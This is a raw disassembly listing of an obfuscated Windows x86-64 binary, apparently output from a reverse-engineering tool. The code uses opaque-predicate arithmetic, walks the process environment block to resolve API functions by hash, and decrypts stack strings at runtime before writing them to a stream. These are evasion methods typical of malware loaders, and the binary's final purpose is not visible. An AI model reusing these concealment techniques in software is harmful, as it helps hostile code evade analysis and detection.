movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004cdcd
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004cdcd
mov ebx, r15d
jmp 0x14004ce6b
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ce64
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004ce6b
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004d29f
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x140073f88]
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004cf64
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x14004d29f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d29f
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
jmp 0x14004d29f
mov rdx, qword [rsp + 0x1588]
lea rcx, [rsp + 0x1ac8]
call fcn.140001d00
nop
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004d09a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004d09a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14004d095
mov ecx, 0x5496d594
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004d070
cmp ecx, 0x5030cb2a
je 0x14004d1bd
test r8d, r8d
jne 0x14004d040
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14004d0b0
cmp qword [rax + 0x30], 0
je 0x14004d0b0
mov al, 1
jmp 0x14004d0b2
xor al, al
test al, al
jne 0x14004d010
mov rdx, r12
mov rcx, qword [rsp + 0x1588]
call rdx
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d1db
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004d1db
mov eax, r15d
jmp 0x14004d276
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14004d0bd
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d26f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004d276
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004d291
lea rdx, [rsp + 0x1ac8]
lea rcx, [rsp + 0x1aa8]
call fcn.140001cd0
nop
lea rcx, [rsp + 0x1ac8]
call fcn.140001c70
nop
mov byte [rsp + 0x1160], 0x4f
mov byte [rsp + 0x1161], 0x46
mov byte [rsp + 0x1162], 0x38
mov byte [rsp + 0x1163], 0x37
mov byte [rsp + 0x1164], 0x58
mov byte [rsp + 0x1165], 0x29
mov byte [rsp + 0x1166], 0x2b
mov byte [rsp + 0x1167], 0x25
mov byte [rsp + 0x1168], 0x59
mov byte [rsp + 0x1169], 0x54
mov byte [rsp + 0x116a], 0x21
mov byte [rsp + 0x116b], 0x21
mov byte [rsp + 0x116c], 0x54
mov byte [rsp + 0x116d], 0x5f
mov byte [rsp + 0x116e], 0x5b
mov byte [rsp + 0x116f], 0x53
mov byte [rsp + 0x1170], 0x57
mov byte [rsp + 0x1171], 0x54
mov byte [rsp + 0x1172], 0x27
mov byte [rsp + 0x1173], 0x5e
mov byte [rsp + 0x1174], 0xd5
mov byte [rsp + 0x1175], 0xa4
mov byte [rsp + 0x1176], 0xa8
mov byte [rsp + 0x1177], 0xda
mov byte [rsp + 0x1178], 0xa5
mov byte [rsp + 0x1179], 0xdf
mov byte [rsp + 0x117a], 0xd1
mov byte [rsp + 0x117b], 0xdd
mov byte [rsp + 0x117c], 0xa0
mov byte [rsp + 0x117d], 0xad
mov byte [rsp + 0x117e], 0xdf
mov byte [rsp + 0x117f], 0xaf
mov byte [rsp + 0x1180], 0xab
mov byte [rsp + 0x1181], 0xab
mov byte [rsp + 0x1182], 0xd7
mov byte [rsp + 0x1183], 0xda
mov byte [rsp + 0x1184], 0xc9
mov byte [rsp + 0x1185], 0xb3
mov byte [rsp + 0x1186], 0xfa
mov byte [rsp + 0x1187], 0xff
mov byte [rsp + 0x1188], 0xfc
mov byte [rsp + 0x1189], 0x61
xor eax, eax
mov qword [rsp + 0x118a], rax
mov word [rsp + 0x1192], ax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x34
jae 0x14004d467
movabs rbx, 0x40fbd5ecba74d6ec
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x1160]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x74
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1160], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x34
jb 0x14004d420
lea r8, [rsp + 0x1160]
lea rdx, [rsp + 0x1aa8]
lea rcx, [rsp + 0x1ae8]
call fcn.14005df60
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x2390]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rsp + 0x1ae8]
lea rcx, [rsp + 0x2390]
call fcn.14005bb70
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004db52
mov rax, r12
cmp qword [rsp + 0x2418], 0
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d5cd
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004d5cd
mov ebx, 7
jmp 0x14004d668
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d661
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004d668
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004db52
mov rdx, qword [0x14007d198]
test rdx, rdx
jne 0x14004d89a
mov r11d, r12d
mov r10d, 0x2967e65a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14004d750
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xabb8c602
cmp rcx, r8
je 0x14004d747
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14004d730
cmp edx, r11d
jne 0x14004d86d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14004d86d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14004d86d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xabb8c602
test al, al
je 0x14004d7d9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004d7c0
cmp ecx, r10d
je 0x14004d7e8
test r8d, r8d
jne 0x14004d790
jmp 0x14004d86d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x14004d811
lea rax, [rdi + r12]
cmp rdx, rax
jae 0x14004d811
mov al, 1
jmp 0x14004d813
xor al, al
test al, al
je 0x14004d996
mov r11d, 0xabb8c602
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14004d847
nop dword [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14004d830
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x14004d869
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14004d851
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14004d883
cmp qword [rax + 0x30], 0
je 0x14004d883
mov al, 1
jmp 0x14004d885
xor al, al
test al, al
jne 0x14004d6f0
xor r12d, r12d
mov edx, r12d
mov qword [0x14007d198], rdx
xor ecx, ecx
call rdx
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004d99e
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004d99e
mov eax, 7
jmp 0x14004da39
xor r12d, r12d
jmp 0x14004d893
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004da32
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004da39
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004db52
lea rcx, [rsp + 0x2438]
call fcn.14005bb10
lea rcx, [rsp + 0x2438]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1ae8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1aa8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x19e8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x19c8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1988]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1948]
call fcn.140001c70
nop
lea rcx, [rsp + 0x18c8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x18e8]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1908]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1a08]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1a28]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1a48]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b08]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b28]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b48]
call fcn.140001c70
nop
lea rcx, [rsp + 0x1b68]
call fcn.140001c70
nop
lea rcx, [rsp + 0x17a8]
call fcn.140001c70
mov al, 1
jmp 0x14005ada9
mov byte [rsp + 0x13a0], 0xf6
mov byte [rsp + 0x13a1], 0xf5
mov byte [rsp + 0x13a2], 0xb5
mov byte [rsp + 0x13a3], 0x4a
mov byte [rsp + 0x13a4], 0x4b
mov byte [rsp + 0x13a5], 0x48
mov byte [rsp + 0x13a6], 8
mov byte [rsp + 0x13a7], 0xf
mov byte [rsp + 0x13a8], 0xe
mov byte [rsp + 0x13a9], 0xd
mov byte [rsp + 0x13aa], 0xc
mov byte [rsp + 0x13ab], 3
mov byte [rsp + 0x13ac], 2
mov byte [rsp + 0x13ad], 0x40
mov byte [rsp + 0x13ae], 0
mov byte [rsp + 0x13af], 7
mov byte [rsp + 0x13b0], 6
mov byte [rsp + 0x13b1], 5
mov byte [rsp + 0x13b2], 4
mov byte [rsp + 0x13b3], 0x5a
mov byte [rsp + 0x13b4], 0x1a
mov byte [rsp + 0x13b5], 0x19
mov byte [rsp + 0x13b6], 0x18
mov byte [rsp + 0x13b7], 0x1f
mov byte [rsp + 0x13b8], 0x1e
mov byte [rsp + 0x13b9], 0x1d
mov byte [rsp + 0x13ba], 0x1c
mov byte [rsp + 0x13bb], 0x13
mov byte [rsp + 0x13bc], 0x12
mov byte [rsp + 0x13bd], 0x11
mov byte [rsp + 0x13be], 0x10
mov byte [rsp + 0x13bf], 0x17
mov byte [rsp + 0x13c0], 0x16
mov byte [rsp + 0x13c1], 0x15
mov byte [rsp + 0x13c2], 0x14
mov byte [rsp + 0x13c3], 0x2b
mov byte [rsp + 0x13c4], 0x2a
mov byte [rsp + 0x13c5], 0x29
mov byte [rsp + 0x13c6], 0x28
mov byte [rsp + 0x13c7], 0x2f
mov byte [rsp + 0x13c8], 0x2e
mov byte [rsp + 0x13c9], 0x2d
mov byte [rsp + 0x13ca], 0x2c
mov byte [rsp + 0x13cb], 0x23
mov byte [rsp + 0x13cc], 0x22
mov byte [rsp + 0x13cd], 0x21
mov byte [rsp + 0x13ce], 0x20
mov byte [rsp + 0x13cf], 0x27
mov byte [rsp + 0x13d0], 0xc6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x13d1], xmm0
mov dword [rsp + 0x13e1], eax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x45
jae 0x14004dd57
movabs r8, 0x1cb79096e9b0a57d
nop dword [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x13a0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x6b
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x13a0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x45
jb 0x14004dd10
lea rdx, [rsp + 0x13a0]
lea rcx, [rsp + 0x2390]
call fcn.140002170
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x13f0], 0x8c
mov byte [rsp + 0x13f1], 0x9e
mov byte [rsp + 0x13f2], 0x82
mov byte [rsp + 0x13f3], 0x40
mov byte [rsp + 0x13f4], 0x43
mov byte [rsp + 0x13f5], 0x42
mov byte [rsp + 0x13f6], 0x2a
mov byte [rsp + 0x13f7], 0x87
mov byte [rsp + 0x13f8], 0x84
mov byte [rsp + 0x13f9], 0x46
mov byte [rsp + 0x13fa], 0x59
mov byte [rsp + 0x13fb], 0x58
mov byte [rsp + 0x13fc], 0x34
mov byte [rsp + 0x13fd], 0x99
mov byte [rsp + 0x13fe], 0x32
mov byte [rsp + 0x13ff], 0x5c
mov byte [rsp + 0x1400], 0x5f
mov byte [rsp + 0x1401], 0x9d
mov byte [rsp + 0x1402], 0x8a
mov byte [rsp + 0x1403], 0x50
mov byte [rsp + 0x1404], 0x89
mov byte [rsp + 0x1405], 0x52
mov byte [rsp + 0x1406], 0x55
mov byte [rsp + 0x1407], 0x54
mov byte [rsp + 0x1408], 0x57
mov byte [rsp + 0x1409], 0x56
mov byte [rsp + 0x140a], 0xa9
mov byte [rsp + 0x140b], 0xa8
mov byte [rsp + 0x140c], 0x68
mov byte [rsp + 0x140d], 0x69
mov byte [rsp + 0x140e], 0xad
mov byte [rsp + 0x140f], 0x6f
mov byte [rsp + 0x1410], 0xaf
mov byte [rsp + 0x1411], 0xae
mov byte [rsp + 0x1412], 0x62
mov byte [rsp + 0x1413], 0x63
mov byte [rsp + 0x1414], 0x60
mov byte [rsp + 0x1415], 0xa2
mov byte [rsp + 0x1416], 0xa5
mov byte [rsp + 0x1417], 0xa4
mov byte [rsp + 0x1418], 0xa7
mov byte [rsp + 0x1419], 0xa6
mov byte [rsp + 0x141a], 0x7a
mov byte [rsp + 0x141b], 0x7b
mov byte [rsp + 0x141c], 0x78
mov byte [rsp + 0x141d], 0xba
mov byte [rsp + 0x141e], 0xbd
mov byte [rsp + 0x141f], 0x7f
mov byte [rsp + 0x1420], 0x5c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1421], xmm0
mov qword [rsp + 0x1431], rax
mov byte [rsp + 0x1439], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x4a
jae 0x14004df87
movabs r8, 0xb9dab15e874553e6
nop word [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x13f0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x4a
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x13f0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x4a
jb 0x14004df40
lea rdx, [rsp + 0x13f0]
lea rcx, [rsp + 0x2390]
call fcn.140002170
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x11a0], 0xd0
mov byte [rsp + 0x11a1], 0x1e
mov byte [rsp + 0x11a2], 0x1d
mov byte [rsp + 0x11a3], 0x1c
mov byte [rsp + 0x11a4], 0xd4
mov byte [rsp + 0x11a5], 0xd5
mov byte [rsp + 0x11a6], 0xc9
mov byte [rsp + 0x11a7], 0xd7
mov byte [rsp + 0x11a8], 0x27
mov byte [rsp + 0x11a9], 0x26
mov byte [rsp + 0x11aa], 6
mov byte [rsp + 0x11ab], 0xeb
mov byte [rsp + 0x11ac], 0xeb
mov byte [rsp + 0x11ad], 0x22
mov byte [rsp + 0x11ae], 0xee
mov byte [rsp + 0x11af], 3
mov byte [rsp + 0x11b0], 0xe0
mov byte [rsp + 0x11b1], 0xd
mov byte [rsp + 0x11b2], 0x2d
mov byte [rsp + 0x11b3], 0xe3
mov byte [rsp + 0x11b4], 0xe4
mov byte [rsp + 0x11b5], 0xfa
mov byte [rsp + 0x11b6], 0xe6
mov byte [rsp + 0x11b7], 0x28
mov byte [rsp + 0x11b8], 0xf8
mov byte [rsp + 0x11b9], 0x15
mov byte [rsp + 0x11ba], 0xfa
mov byte [rsp + 0x11bb], 0xfc
mov byte [rsp + 0x11bc], 0x33
mov byte [rsp + 0x11bd], 0xfd
mov byte [rsp + 0x11be], 0xfe
mov byte [rsp + 0x11bf], 0xe0
mov byte [rsp + 0x11c0], 0xf0
mov byte [rsp + 0x11c1], 0x3e
mov byte [rsp + 0x11c2], 0xf2
